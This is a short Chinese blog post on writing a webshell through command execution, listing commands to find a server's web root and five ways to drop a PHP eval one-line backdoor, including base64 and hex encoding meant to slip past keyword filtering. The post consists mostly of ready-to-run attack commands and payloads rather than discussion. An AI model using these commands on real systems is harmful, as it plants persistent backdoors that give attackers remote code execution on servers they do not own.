命令执行写webshell

Posted on 2021-06-23 22:41  孤单光量子  阅读(638)  评论(0编辑  收藏  举报
  • 寻找web的路径

    ( 1 ) 文件查找法

     linux:
     find / -name index.php
     find / -name index.*
     windows:
     for /r d:/ %i in (index.php) do @echo %i
     for /r d:/ %i in (index.*) do @echo %i

    ( 2 ) 源码查找法

    查看web页面的源码,找一段特征明显的源码进行查找

     linux:
     find / -name "*.*" | xargs grep "PHP installed properly"
     find /var/www/ -name "*.php" | xargs grep "doServerTest()"
     
     windows:
     findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
     findstr /s/i/n /d:C:\windows\ /c:"success" *.*
  • 写入webshell

    ( 1 ) echo直接写入

     echo '<?php eval($_POST[1]); ?>' > 1.php

    一般写入都会失败,关键字会被屏蔽

    ( 2 ) base64写入

     echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

    一般比较通用。

    ( 3 ) 绕过重定向符号 (将整体命令进行编码)

     echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash

    ( 4 ) 使用wget进行远程下载文件

    ( 5 )使用hex进行写入

    生成十六进制的字符串 (-ps)

     echo '<?php eval($_POST[1]); ?>' |xxd -ps  

    将字符串还原为命令 (-r -ps)

     echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php